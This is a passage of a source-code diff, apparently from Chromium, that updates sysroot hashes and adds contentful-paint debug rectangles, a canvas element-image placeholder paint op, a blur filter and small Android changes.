     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221481819702,
-        'object_name': '58f8594905bfe0fa0b7c7a7e882f01725455d07b7161e6539de5169867009b9f',
-        'sha256sum': '58f8594905bfe0fa0b7c7a7e882f01725455d07b7161e6539de5169867009b9f',
-        'size_bytes': 19896004,
+        'generation': 1770327970830699,
+        'object_name': 'c847a32ae492aa14688be47fa696026e8dae8d9f4f589ec42fad29862bf311b3',
+        'sha256sum': 'c847a32ae492aa14688be47fa696026e8dae8d9f4f589ec42fad29862bf311b3',
+        'size_bytes': 19042256,
       },
     ],
   },
@@ -72,10 +72,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221481662026,
-        'object_name': '2098b42d9698f5c8a15683abbf6d424b7f56200bd2488198e15f31554acb391f',
-        'sha256sum': '2098b42d9698f5c8a15683abbf6d424b7f56200bd2488198e15f31554acb391f',
-        'size_bytes': 19690120,
+        'generation': 1770327971826284,
+        'object_name': '82e930d6fa5d5ab1172cabc63b911ec800b182b4f8c14a273a89596541fe8658',
+        'sha256sum': '82e930d6fa5d5ab1172cabc63b911ec800b182b4f8c14a273a89596541fe8658',
+        'size_bytes': 18613672,
       },
     ],
   },
@@ -85,10 +85,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1741221484110989,
-        'object_name': '485f85dde52830594f7b58ad53b9ca8ff6088b397cacb52aff682be5ffd6f198',
-        'sha256sum': '485f85dde52830594f7b58ad53b9ca8ff6088b397cacb52aff682be5ffd6f198',
-        'size_bytes': 19637392,
+        'generation': 1770328726324178,
+        'object_name': '8b37b8eefac38284c327146c05fa315b392c90a559888790a12b05a28fbcee40',
+        'sha256sum': '8b37b8eefac38284c327146c05fa315b392c90a559888790a12b05a28fbcee40',
+        'size_bytes': 18587644,
       },
     ],
   },
@@ -98,10 +98,10 @@
     'dep_type': 'gcs',
     'objects': [
       {
-        'generation': 1749572829637587,
-        'object_name': '5c8ef4067f41a625d81113a6292180acf4ef49a2ffe015c2779123c133b8e250',
-        'sha256sum': '5c8ef4067f41a625d81113a6292180acf4ef49a2ffe015c2779123c133b8e250',
-        'size_bytes': 20178952,
+        'generation': 1770327973551589,
+        'object_name': '2df6a2698a25258871b45a50d8b5079947b1ad1c63920c944690dfc2a71aab51',
+        'sha256sum': '2df6a2698a25258871b45a50d8b5079947b1ad1c63920c944690dfc2a71aab51',
+        'size_bytes': 20177024,
       },
     ],
   },
diff --git a/build/linux/sysroot_scripts/sysroot.gni b/build/linux/sysroot_scripts/sysroot.gni
index b96946a0..ff42e919 100644
--- a/build/linux/sysroot_scripts/sysroot.gni
+++ b/build/linux/sysroot_scripts/sysroot.gni
@@ -5,4 +5,4 @@
 # This file was generated by
 # build/linux/sysroot_scripts/build_and_upload.py
 
-cr_sysroot_key = "20250129T203412Z-1"
+cr_sysroot_key = "20250129T203412Z-2"
diff --git a/build/linux/sysroot_scripts/sysroot_creator.py b/build/linux/sysroot_scripts/sysroot_creator.py
index 2b8246a..2d120b4 100755
--- a/build/linux/sysroot_scripts/sysroot_creator.py
+++ b/build/linux/sysroot_scripts/sysroot_creator.py
@@ -41,7 +41,7 @@
 # This number is appended to the sysroot key to cause full rebuilds.  It
 # should be incremented when removing packages or patching existing packages.
 # It should not be incremented when adding packages.
-SYSROOT_RELEASE = 1
+SYSROOT_RELEASE = 2
 
 SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 
diff --git a/build/linux/sysroot_scripts/sysroots.json b/build/linux/sysroot_scripts/sysroots.json
index d6093b007..06d8805 100644
--- a/build/linux/sysroot_scripts/sysroots.json
+++ b/build/linux/sysroot_scripts/sysroots.json
@@ -1,48 +1,48 @@
 {
     "bullseye_amd64": {
-        "Sha256Sum": "36a164623d03f525e3dfb783a5e9b8a00e98e1ddd2b5cff4e449bd016dd27e50",
+        "Sha256Sum": "52d61d4446ffebfaa3dda2cd02da4ab4876ff237853f46d273e7f9b666652e1d",
         "SysrootDir": "debian_bullseye_amd64-sysroot",
         "Tarball": "debian_bullseye_amd64_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "bullseye_arm64": {
-        "Sha256Sum": "2f915d821eec27515c0c6d21b69898e23762908d8d7ccc1aa2a8f5f25e8b7e18",
+        "Sha256Sum": "c7176a4c7aacbf46bda58a029f39f79a68008d3dee6518f154dcf5161a5486d8",
         "SysrootDir": "debian_bullseye_arm64-sysroot",
         "Tarball": "debian_bullseye_arm64_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "bullseye_armhf": {
-        "Sha256Sum": "47b3a0b161ca011b2b33d4fc1ef6ef269b8208a0b7e4c900700c345acdfd1814",
+        "Sha256Sum": "b45a7f586a107380ca6141b00d74321922b41d6d327dc33e74a2f82fd454304c",
         "SysrootDir": "debian_bullseye_armhf-sysroot",
         "Tarball": "debian_bullseye_armhf_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "bullseye_i386": {
-        "Sha256Sum": "63f0e5128b84f7b0421956a4a40affa472be8da0e58caf27e9acbc84072daee7",
+        "Sha256Sum": "3de724b0d63478e1ae35f07b95d02261581a66e05c19aebe4e443d76179a565e",
         "SysrootDir": "debian_bullseye_i386-sysroot",
         "Tarball": "debian_bullseye_i386_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "bullseye_mips64el": {
-        "Sha256Sum": "58f8594905bfe0fa0b7c7a7e882f01725455d07b7161e6539de5169867009b9f",
+        "Sha256Sum": "c847a32ae492aa14688be47fa696026e8dae8d9f4f589ec42fad29862bf311b3",
         "SysrootDir": "debian_bullseye_mips64el-sysroot",
         "Tarball": "debian_bullseye_mips64el_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "bullseye_mipsel": {
-        "Sha256Sum": "2098b42d9698f5c8a15683abbf6d424b7f56200bd2488198e15f31554acb391f",
+        "Sha256Sum": "82e930d6fa5d5ab1172cabc63b911ec800b182b4f8c14a273a89596541fe8658",
         "SysrootDir": "debian_bullseye_mipsel-sysroot",
         "Tarball": "debian_bullseye_mipsel_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "bullseye_ppc64el": {
-        "Sha256Sum": "485f85dde52830594f7b58ad53b9ca8ff6088b397cacb52aff682be5ffd6f198",
+        "Sha256Sum": "8b37b8eefac38284c327146c05fa315b392c90a559888790a12b05a28fbcee40",
         "SysrootDir": "debian_bullseye_ppc64el-sysroot",
         "Tarball": "debian_bullseye_ppc64el_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
     },
     "trixie_riscv64": {
-        "Sha256Sum": "5c8ef4067f41a625d81113a6292180acf4ef49a2ffe015c2779123c133b8e250",
+        "Sha256Sum": "2df6a2698a25258871b45a50d8b5079947b1ad1c63920c944690dfc2a71aab51",
         "SysrootDir": "debian_trixie_riscv64-sysroot",
         "Tarball": "debian_trixie_riscv64_sysroot.tar.xz",
         "URL": "https://commondatastorage.googleapis.com/chrome-linux-sysroot"
diff --git a/build/sanitizers/lsan_suppressions.cc b/build/sanitizers/lsan_suppressions.cc
index c01298fe..7be6691e 100644
--- a/build/sanitizers/lsan_suppressions.cc
+++ b/build/sanitizers/lsan_suppressions.cc
@@ -48,10 +48,6 @@
     // xrandr leak. http://crbug.com/119677
     "leak:XRRFindDisplay\n"
 
-    // http://crbug.com/431213, http://crbug.com/416665
-    "leak:gin/object_template_builder.h\n"
-    "leak:gin/function_template.h\n"
-
     // Leaks in swrast_dri.so. http://crbug.com/540042
     "leak:swrast_dri.so\n"
 
diff --git a/cc/debug/debug_colors.cc b/cc/debug/debug_colors.cc
index e76f67e..e57ab70 100644
--- a/cc/debug/debug_colors.cc
+++ b/cc/debug/debug_colors.cc
@@ -172,6 +172,13 @@
   return {0.0f, 195.0f / 255.0f, 0.0f, static_cast<float>(value) / 255.0f};
 }
 
+static SkColor4f FadedOrange(int initial_value, int step) {
+  DCHECK_GE(step, 0);
+  DCHECK_LE(step, DebugColors::kFadeSteps);
+  int value = step * initial_value / DebugColors::kFadeSteps;
+  return {1.0f, 140.0f / 255.0f, 0.0f, static_cast<float>(value) / 255.0f};
+}
+
 // Paint rects in green.
 SkColor4f DebugColors::PaintRectBorderColor(int step) {
   return FadedGreen(255, step);
@@ -188,7 +195,6 @@
   return {0.0f, 0.0f, 1.0f, static_cast<float>(value) / 255.0f};
 }
 
-/// Layout Shift rects in blue.
 SkColor4f DebugColors::LayoutShiftRectBorderColor(int step) {
   return FadedBlue(255, step);
 }
@@ -201,6 +207,26 @@
   return FadedBlue(60, step);
 }
 
+SkColor4f DebugColors::InteractionContentfulPaintRectBorderColor(int step) {
+  return FadedOrange(255, step);
+}
+int DebugColors::InteractionContentfulPaintRectBorderWidth() {
+  return 2;
+}
+SkColor4f DebugColors::InteractionContentfulPaintRectFillColor(int step) {
+  return FadedOrange(60, step);
+}
+
+SkColor4f DebugColors::NavigationContentfulPaintRectBorderColor(int step) {
+  return FadedGreen(255, step);
+}
+int DebugColors::NavigationContentfulPaintRectBorderWidth() {
+  return 2;
+}
+SkColor4f DebugColors::NavigationContentfulPaintRectFillColor(int step) {
+  return FadedGreen(60, step);
+}
+
 // Property-changed rects in blue.
 SkColor4f DebugColors::PropertyChangedRectBorderColor() {
   return {0.0f, 0.0f, 1.0f, 1.0f};
diff --git a/cc/debug/debug_colors.h b/cc/debug/debug_colors.h
index ededec6..a433466 100644
--- a/cc/debug/debug_colors.h
+++ b/cc/debug/debug_colors.h
@@ -70,6 +70,14 @@
   static int LayoutShiftRectBorderWidth();
   static SkColor4f LayoutShiftRectFillColor(int step);
 
+  static SkColor4f InteractionContentfulPaintRectBorderColor(int step);
+  static int InteractionContentfulPaintRectBorderWidth();
+  static SkColor4f InteractionContentfulPaintRectFillColor(int step);
+
+  static SkColor4f NavigationContentfulPaintRectBorderColor(int step);
+  static int NavigationContentfulPaintRectBorderWidth();
+  static SkColor4f NavigationContentfulPaintRectFillColor(int step);
+
   static SkColor4f PropertyChangedRectBorderColor();
   static int PropertyChangedRectBorderWidth();
   static SkColor4f PropertyChangedRectFillColor();
diff --git a/cc/debug/layer_tree_debug_state.cc b/cc/debug/layer_tree_debug_state.cc
index 370b6f7d..58b64ef 100644
--- a/cc/debug/layer_tree_debug_state.cc
+++ b/cc/debug/layer_tree_debug_state.cc
@@ -34,7 +34,8 @@
          show_main_thread_scroll_hit_test_rects ||
          show_main_thread_scroll_repaint_rects ||
          show_raster_inducing_scroll_rects ||
-         show_layer_animation_bounds_rects || show_layout_shift_regions;
+         show_layer_animation_bounds_rects || show_layout_shift_regions ||
+         show_contentful_paint_rects;
 }
 
 bool LayerTreeDebugState::ShowMemoryStats() const {
diff --git a/cc/debug/layer_tree_debug_state.h b/cc/debug/layer_tree_debug_state.h
index 976a7f9..8af352f 100644
--- a/cc/debug/layer_tree_debug_state.h
+++ b/cc/debug/layer_tree_debug_state.h
@@ -29,6 +29,7 @@
   bool show_fps_counter = false;
   DebugBorderTypes show_debug_borders = false;
 
+  bool show_contentful_paint_rects = false;
   bool show_layout_shift_regions = false;
   bool show_paint_rects = false;
   bool show_property_changed_rects = false;
diff --git a/cc/layers/heads_up_display_layer.h b/cc/layers/heads_up_display_layer.h
index 995d07eb..f40edf86 100644
--- a/cc/layers/heads_up_display_layer.h
+++ b/cc/layers/heads_up_display_layer.h
@@ -19,6 +19,8 @@
 
 enum class WebVitalMetricType {
   kLayoutShift,
+  kInteractionContentfulPaint,
+  kNavigationContentfulPaint,
 };
 
 struct WebVitalsDebugRect {
diff --git a/cc/layers/heads_up_display_layer_impl.cc b/cc/layers/heads_up_display_layer_impl.cc
index 0669979..ef731dbf 100644
--- a/cc/layers/heads_up_display_layer_impl.cc
+++ b/cc/layers/heads_up_display_layer_impl.cc
@@ -928,6 +928,13 @@
     std::string label_text;
 
     switch (debug_rect.type) {
+      case DebugRectType::kInteractionContentfulPaint:
+        stroke_color = DebugColors::InteractionContentfulPaintRectBorderColor(
+            debug_rect.fade_step);
+        fill_color = DebugColors::InteractionContentfulPaintRectFillColor(
+            debug_rect.fade_step);
+        stroke_width = DebugColors::InteractionContentfulPaintRectBorderWidth();
+        break;
       case DebugRectType::kLayoutShift:
         stroke_color =
             DebugColors::LayoutShiftRectBorderColor(debug_rect.fade_step);
@@ -935,6 +942,13 @@
             DebugColors::LayoutShiftRectFillColor(debug_rect.fade_step);
         stroke_width = DebugColors::LayoutShiftRectBorderWidth();
         break;
+      case DebugRectType::kNavigationContentfulPaint:
+        stroke_color = DebugColors::NavigationContentfulPaintRectBorderColor(
+            debug_rect.fade_step);
+        fill_color = DebugColors::NavigationContentfulPaintRectFillColor(
+            debug_rect.fade_step);
+        stroke_width = DebugColors::NavigationContentfulPaintRectBorderWidth();
+        break;
       case DebugRectType::kPaint:
         stroke_color = DebugColors::PaintRectBorderColor(debug_rect.fade_step);
         fill_color = DebugColors::PaintRectFillColor(debug_rect.fade_step);
diff --git a/cc/mojom/layer_tree_debug_state.mojom b/cc/mojom/layer_tree_debug_state.mojom
index 495ed55..c502491 100644
--- a/cc/mojom/layer_tree_debug_state.mojom
+++ b/cc/mojom/layer_tree_debug_state.mojom
@@ -13,6 +13,7 @@
   bool show_layer_borders;
   bool show_layout_shift_regions;
   bool show_paint_rects;
+  bool show_contentful_paint_rects;
   bool show_property_changed_rects;
   bool show_surface_damage_rects;
   bool show_screen_space_rects;
diff --git a/cc/mojom/layer_tree_debug_state_mojom_traits.h b/cc/mojom/layer_tree_debug_state_mojom_traits.h
index f3b103f..5c7bc4b0 100644
--- a/cc/mojom/layer_tree_debug_state_mojom_traits.h
+++ b/cc/mojom/layer_tree_debug_state_mojom_traits.h
@@ -28,6 +28,10 @@
   static bool show_layer_borders(const cc::LayerTreeDebugState& state) {
     return state.show_debug_borders[cc::DebugBorderType::LAYER];
   }
+  static bool show_contentful_paint_rects(
+      const cc::LayerTreeDebugState& state) {
+    return state.show_contentful_paint_rects;
+  }
   static bool show_layout_shift_regions(const cc::LayerTreeDebugState& state) {
     return state.show_layout_shift_regions;
   }
@@ -99,6 +103,7 @@
         data.show_layer_borders();
     out->show_layout_shift_regions = data.show_layout_shift_regions();
     out->show_paint_rects = data.show_paint_rects();
+    out->show_contentful_paint_rects = data.show_contentful_paint_rects();
     out->show_property_changed_rects = data.show_property_changed_rects();
     out->show_surface_damage_rects = data.show_surface_damage_rects();
     out->show_screen_space_rects = data.show_screen_space_rects();
diff --git a/cc/paint/paint_op.cc b/cc/paint/paint_op.cc
index 6d275c9..241e23f 100644
--- a/cc/paint/paint_op.cc
+++ b/cc/paint/paint_op.cc
@@ -1972,7 +1972,8 @@
 }
 
 bool DrawRecordOp::EqualsForTesting(const DrawRecordOp& other) const {
-  return record.EqualsForTesting(other.record);  // IN-TEST
+  return placeholder_id == other.placeholder_id &&
+         record.EqualsForTesting(other.record);  // IN-TEST
 }
 
 bool DrawRectOp::EqualsForTesting(const DrawRectOp& other) const {
@@ -2608,6 +2609,9 @@
       record(std::move(record)),
       local_ctm(local_ctm) {}
 
+DrawRecordOp::DrawRecordOp(ElementId id)
+    : PaintOpBaseInternal(kType), placeholder_id(id) {}
+
 DrawRecordOp::~DrawRecordOp() = default;
 
 size_t DrawRecordOp::AdditionalBytesUsed() const {
diff --git a/cc/paint/paint_op.h b/cc/paint/paint_op.h
index f1b449e3..b8e165f0 100644
--- a/cc/paint/paint_op.h
+++ b/cc/paint/paint_op.h
@@ -834,6 +834,7 @@
   static constexpr PaintOpType kType = PaintOpType::kDrawRecord;
   static constexpr bool kIsDrawOp = true;
   explicit DrawRecordOp(PaintRecord record, bool local_ctm = true);
+  explicit DrawRecordOp(ElementId id);
   ~DrawRecordOp();
   static void Raster(const DrawRecordOp* op,
                      SkCanvas* canvas,
@@ -853,6 +854,11 @@
 
   PaintRecord record;
 
+  // Used by the canvas drawElementImage API; indicates that this paint op
+  // should be replaced at blink compositing time with a DrawRecordOp containing
+  // the PaintRecord for this element; see PaintOpBuffer::UpdateDrawRecordOp.
+  ElementId placeholder_id;
+
   // If `local_ctm` is `true`, the transform operations in `record` are local to
   // that recording: any transform changes done by `record` are undone before
   // this `DrawRecordOp` completes and `SetMatrixOp` acts relatively to the
diff --git a/cc/paint/paint_op_buffer.cc b/cc/paint/paint_op_buffer.cc
index 090d083..01ec8ca 100644
--- a/cc/paint/paint_op_buffer.cc
+++ b/cc/paint/paint_op_buffer.cc
@@ -591,6 +591,26 @@
   }
 }
 
+void PaintOpBuffer::UpdateDrawRecordOp(size_t offset,
+                                       PaintRecord paint_record) {
+  CHECK(is_mutable());
+  uint16_t aligned_size = ComputeOpAlignedSize<DrawRecordOp>();
+  CHECK_LE(offset + aligned_size, used_);
+  DrawRecordOp* op = reinterpret_cast<DrawRecordOp*>(&data_[offset]);
+  CHECK_EQ(op->GetType(), DrawRecordOp::kType);
+  CHECK(op->record.empty());
+  CHECK(op->local_ctm);
+  CHECK_NE(op->placeholder_id, ElementId());
+
+  // AdditionalBytesUsed is non-zero even with an empty PaintRecord
+  CHECK_GE(subrecord_bytes_used_, op->AdditionalBytesUsed());
+  subrecord_bytes_used_ -= op->AdditionalBytesUsed();
+
+  op->~DrawRecordOp();
+  new (op) DrawRecordOp{std::move(paint_record)};
+  AnalyzeAddedOp(op);
+}
+
 PaintOpBuffer::Iterator PaintOpBuffer::begin() const {
   return Iterator(*this);
 }
diff --git a/cc/paint/paint_op_buffer.h b/cc/paint/paint_op_buffer.h
index e7740fb..cf392620 100644
--- a/cc/paint/paint_op_buffer.h
+++ b/cc/paint/paint_op_buffer.h
@@ -275,6 +275,7 @@
   }
 
   void UpdateSaveLayerBounds(size_t offset, const SkRect& bounds);
+  void UpdateDrawRecordOp(size_t offset, PaintRecord paint_record);
 
   template <typename T>
   void AnalyzeAddedOp(const T* op) {
diff --git a/cc/paint/record_paint_canvas.cc b/cc/paint/record_paint_canvas.cc
index a46246c..dfcdb8e 100644
--- a/cc/paint/record_paint_canvas.cc
+++ b/cc/paint/record_paint_canvas.cc
@@ -389,6 +389,10 @@
   push<DrawRecordOp>(std::move(record), local_ctm);
 }
 
+void RecordPaintCanvas::drawElementImagePlaceholder(ElementId placeholder_id) {
+  push<DrawRecordOp>(placeholder_id);
+}
+
 void RecordPaintCanvas::Annotate(AnnotationType type,
                                  const SkRect& rect,
                                  sk_sp<SkData> data) {
diff --git a/cc/paint/record_paint_canvas.h b/cc/paint/record_paint_canvas.h
index e42372d..07ff07ca7 100644
--- a/cc/paint/record_paint_canvas.h
+++ b/cc/paint/record_paint_canvas.h
@@ -147,6 +147,8 @@
   void drawPicture(PaintRecord record) override;
   void drawPicture(PaintRecord record, bool local_ctm) override;
 
+  void drawElementImagePlaceholder(ElementId placeholder_id);
+
   void Annotate(AnnotationType type,
                 const SkRect& rect,
                 sk_sp<SkData> data) override;
diff --git a/cc/slim/filter.cc b/cc/slim/filter.cc
index 061a04ee..8c0033c 100644
--- a/cc/slim/filter.cc
+++ b/cc/slim/filter.cc
@@ -15,7 +15,8 @@
 Filter::~Filter() = default;
 
 bool Filter::operator==(const Filter& other) const {
-  return type_ == other.type_ && amount_ == other.amount_;
+  return type_ == other.type_ && amount_ == other.amount_ &&
+         tile_mode_ == other.tile_mode_;
 }
 
 }  // namespace cc::slim
diff --git a/cc/slim/filter.h b/cc/slim/filter.h
index a3cd789..e6176a12 100644
--- a/cc/slim/filter.h
+++ b/cc/slim/filter.h
@@ -5,7 +5,10 @@
 #ifndef CC_SLIM_FILTER_H_
 #define CC_SLIM_FILTER_H_
 
+#include <optional>
+
 #include "base/component_export.h"
+#include "third_party/skia/include/core/SkTileMode.h"
 
 namespace cc::slim {
 
@@ -17,28 +20,37 @@
   enum Type {
     kBrightness,
     kSaturation,
+    kBlur,
   };
 
   Filter(const Filter&);
   Filter& operator=(const Filter&);
   ~Filter();
 
-  // `amount` is on a scale from 0.f to 1.f, though amount is allowed to
-  // exceed 1.f.
+  // `amount` is on a scale from 0.f to 1.f for brightness and saturation.
   static Filter CreateBrightness(float amount) { return {kBrightness, amount}; }
   static Filter CreateSaturation(float amount) { return {kSaturation, amount}; }
 
+  // `amount` is the blur sigma, it exceeds 1.f.
+  static Filter CreateBlur(float amount, SkTileMode tile_mode) {
+    Filter filter(kBlur, amount);
+    filter.tile_mode_ = tile_mode;
+    return filter;
+  }
+
   bool operator==(const Filter& other) const;
   bool operator!=(const Filter& other) const { return !(*this == other); }
 
   Type type() const { return type_; }
   float amount() const { return amount_; }
+  SkTileMode tile_mode() const { return tile_mode_.value(); }
 
  private:
   Filter(Type type, float amount);
 
   Type type_ = kBrightness;
   float amount_ = 0.0f;
+  std::optional<SkTileMode> tile_mode_;
 };
 
 }  // namespace cc::slim
diff --git a/cc/slim/layer.cc b/cc/slim/layer.cc
index 268b152..17e4a09 100644
--- a/cc/slim/layer.cc
+++ b/cc/slim/layer.cc
@@ -34,6 +34,10 @@
         cc_filters.Append(
             cc::FilterOperation::CreateSaturateFilter(slim_filter.amount()));
         break;
+      case cc::slim::Filter::kBlur:
+        cc_filters.Append(cc::FilterOperation::CreateBlurFilter(
+            slim_filter.amount(), slim_filter.tile_mode()));
+        break;
     }
   }
   return cc_filters;
diff --git a/cc/test/paint_op_helper.h b/cc/test/paint_op_helper.h
index acbba1ac..6dbe312 100644
--- a/cc/test/paint_op_helper.h
+++ b/cc/test/paint_op_helper.h
@@ -174,6 +174,9 @@
       }
       case PaintOpType::kDrawRecord: {
         const auto& op = static_cast<const DrawRecordOp&>(base_op);
+        if (op.placeholder_id != ElementId()) {
+          str << "element_id=" << op.placeholder_id << ", ";
+        }
         str << "record=" << ToString(op.record);
         break;
       }
diff --git a/cc/trees/debug_rect_history.cc b/cc/trees/debug_rect_history.cc
index 0cfee9f..c88af72 100644
--- a/cc/trees/debug_rect_history.cc
+++ b/cc/trees/debug_rect_history.cc
@@ -58,7 +58,8 @@
     SaveMainThreadScrollRepaintOrRasterInducingScrollRects(
         tree_impl, DebugRectType::kRasterInducingScroll);
   }
-  if (debug_state.show_layout_shift_regions) {
+  if (debug_state.show_contentful_paint_rects ||
+      debug_state.show_layout_shift_regions) {
     SaveWebVitalsDebugRects(hud_layer);
   }
   if (debug_state.show_paint_rects) {
@@ -86,6 +87,12 @@
       case WebVitalMetricType::kLayoutShift:
         type = DebugRectType::kLayoutShift;
         break;
+      case WebVitalMetricType::kInteractionContentfulPaint:
+        type = DebugRectType::kInteractionContentfulPaint;
+        break;
+      case WebVitalMetricType::kNavigationContentfulPaint:
+        type = DebugRectType::kNavigationContentfulPaint;
+        break;
     }
 
     debug_rects_.emplace_back(
diff --git a/cc/trees/debug_rect_history.h b/cc/trees/debug_rect_history.h
index ec2d4a3..c890c4e 100644
--- a/cc/trees/debug_rect_history.h
+++ b/cc/trees/debug_rect_history.h
@@ -52,6 +52,8 @@
   kRasterInducingScroll,
   kAnimationBounds,
   kLayoutShift,
+  kInteractionContentfulPaint,
+  kNavigationContentfulPaint,
 };
 
 struct DebugRect {
diff --git a/cc/trees/layer_tree_impl_unittest.cc b/cc/trees/layer_tree_impl_unittest.cc
index d48fa7ec..b125a7a 100644
--- a/cc/trees/layer_tree_impl_unittest.cc
+++ b/cc/trees/layer_tree_impl_unittest.cc
@@ -2317,6 +2317,33 @@
   EXPECT_EQ(0u, history->debug_rects().size());
 }
 
+TEST_F(LayerTreeImplTest, DebugRectHistoryLayoutShiftWithHud) {
+  LayerTreeDebugState state;
+  state.show_layout_shift_regions = true;
+
+  auto* hud = AddLayerInActiveTree<HeadsUpDisplayLayerImpl>(std::string());
+  hud->SetBounds(gfx::Size(200, 200));
+  hud->SetWebVitalsDebugRects(
+      {{WebVitalMetricType::kLayoutShift, gfx::Rect(10, 10, 50, 50)}});
+
+  host_impl().active_tree()->set_hud_layer(hud);
+  CopyProperties(root_layer(), hud);
+  UpdateDrawProperties(host_impl().active_tree());
+
+  // HUD rects should start with one value
+  EXPECT_EQ(1u, hud->WebVitalsDebugRects().size());
+
+  auto history = DebugRectHistory::Create();
+  history->SaveDebugRectsForCurrentFrame(host_impl().active_tree(), hud,
+                                         RenderSurfaceList{}, state);
+
+  // HUD rects should be moved to debug rect history after saving current frame
+  EXPECT_EQ(0u, hud->WebVitalsDebugRects().size());
+  ASSERT_EQ(1u, history->debug_rects().size());
+  EXPECT_EQ(DebugRectType::kLayoutShift, history->debug_rects()[0].type);
+  EXPECT_EQ(gfx::Rect(10, 10, 50, 50), history->debug_rects()[0].rect);
+}
+
 namespace {
 
 class PersistentSwapPromise final : public SwapPromise {
diff --git a/chrome/VERSION b/chrome/VERSION
index d7fcdbb..1d7fe361 100644
--- a/chrome/VERSION
+++ b/chrome/VERSION
@@ -1,4 +1,4 @@
 MAJOR=146
 MINOR=0
-BUILD=7672
+BUILD=7673
 PATCH=0
diff --git a/chrome/android/BUILD.gn b/chrome/android/BUILD.gn
index 3f90b85e..09788b9 100644
--- a/chrome/android/BUILD.gn
+++ b/chrome/android/BUILD.gn
@@ -2919,6 +2919,7 @@
       "java/src/org/chromium/chrome/browser/IntentHandler.java",
       "java/src/org/chromium/chrome/browser/KeyboardShortcuts.java",
       "java/src/org/chromium/chrome/browser/PlayServicesVersionInfo.java",
+      "java/src/org/chromium/chrome/browser/RecentlyClosedEntriesManager.java",
       "java/src/org/chromium/chrome/browser/ServiceTabLauncher.java",
       "java/src/org/chromium/chrome/browser/ShortcutHelper.java",
       "java/src/org/chromium/chrome/browser/WarmupManager.java",
diff --git a/chrome/android/chrome_java_sources.gni b/chrome/android/chrome_java_sources.gni
index 1d7084e..d8ce43b 100644
--- a/chrome/android/chrome_java_sources.gni
+++ b/chrome/android/chrome_java_sources.gni
@@ -380,7 +380,9 @@
   "java/src/org/chromium/chrome/browser/compositor/scene_layer/TabListSceneLayer.java",
   "java/src/org/chromium/chrome/browser/compositor/scene_layer/TabStripSceneLayer.java",
   "java/src/org/chromium/chrome/browser/compositor/scene_layer/ToolbarSwipeSceneLayer.java",
+  "java/src/org/chromium/chrome/browser/contacts_picker/ChromeContactsPickerDelegate.java",
   "java/src/org/chromium/chrome/browser/contacts_picker/ChromePickerAdapter.java",
+  "java/src/org/chromium/chrome/browser/contacts_picker/ContactsPickerDelegateProvider.java",
   "java/src/org/chromium/chrome/browser/content_capture/ContentCaptureHistoryDeletionObserver.java",
   "java/src/org/chromium/chrome/browser/contextmenu/ChromeContextMenuItem.java",
   "java/src/org/chromium/chrome/browser/contextmenu/ChromeContextMenuPopulator.java",
diff --git a/chrome/android/features/keyboard_accessory/javatests/src/org/chromium/chrome/browser/keyboard_accessory/ManualFillingIntegrationTest.java b/chrome/android/features/keyboard_accessory/javatests/src/org/chromium/chrome/browser/keyboard_accessory/ManualFillingIntegrationTest.java
index c8b2b99f..b3e1d933 100644
--- a/chrome/android/features/keyboard_accessory/javatests/src/org/chromium/chrome/browser/keyboard_accessory/ManualFillingIntegrationTest.java
+++ b/chrome/android/features/keyboard_accessory/javatests/src/org/chromium/chrome/browser/keyboard_accessory/ManualFillingIntegrationTest.java
@@ -304,6 +304,7 @@
     @SmallTest
     @DisableIf.Build(supported_abis_includes = "x86", message = "https://crbug.com/420290639")
     @DisableIf.Build(supported_abis_includes = "x86_64", message = "https://crbug.com/420290639")
+    @DisabledTest(message = "https://crbug.com/420290639")
     public void testResumingTheAppDismissesAllInputMethods() throws TimeoutException {
         mHelper.startAtTestPage(/* isRtl= */ false);
 
diff --git a/chrome/android/features/tab_ui/java/res/layout/tab_bottom_sheet.xml b/chrome/android/features/tab_ui/java/res/layout/tab_bottom_sheet.xml
index a448321..959d8fb 100644
--- a/chrome/android/features/tab_ui/java/res/layout/tab_bottom_sheet.xml
+++ b/chrome/android/features/tab_ui/java/res/layout/tab_bottom_sheet.xml
@@ -4,7 +4,6 @@
 Use of this source code is governed by a BSD-style license that can be
 found in the LICENSE file.
 -->
-<!-- TODO (crbug.com/474583728) Replace hardcoded strings -->
 <LinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:app="http://schemas.android.com/apk/res-auto"
@@ -21,9 +20,9 @@
         android:layout_height="wrap_content"
         android:layout_gravity="center_horizontal"
         android:layout_marginTop="7dp"
-        android:contentDescription="Handle"
         android:src="@drawable/drag_handlebar"
-        app:tint="@macro/drag_handle_color"/>
+        app:tint="@macro/drag_handle_color"
+        android:importantForAccessibility="no"/>
 
     <!-- Toolbar Container -->
     <FrameLayout
diff --git a/chrome/android/features/tab_ui/java/src/org/chromium/chrome/browser/tasks/tab_management/TabSwitcherDragHandler.java b/chrome/android/features/tab_ui/java/src/org/chromium/chrome/browser/tasks/tab_management/TabSwitcherDragHandler.java
index fe62845..f52a644 100644
--- a/chrome/android/features/tab_ui/java/src/org/chromium/chrome/browser/tasks/tab_management/TabSwitcherDragHandler.java
+++ b/chrome/android/features/tab_ui/java/src/org/chromium/chrome/browser/tasks/tab_management/TabSwitcherDragHandler.java
@@ -28,6 +28,7 @@
 import org.chromium.chrome.browser.multiwindow.MultiInstanceManager;
 import org.chromium.chrome.browser.tab.Tab;
 import org.chromium.ui.dragdrop.DragAndDropDelegate;
+import org.chromium.ui.dragdrop.DragDropGlobalState;
 import org.chromium.ui.interpolators.Interpolators;
 
 import java.util.function.Supplier;
@@ -274,6 +275,7 @@
                 break;
             case DragEvent.ACTION_DROP:
                 res = mDragHandlerDelegate.handleDrop(dragEvent.getX(), dragEvent.getY());
+                if (res) DragDropGlobalState.notifyChromeHandledDrop(dragEvent);
                 break;
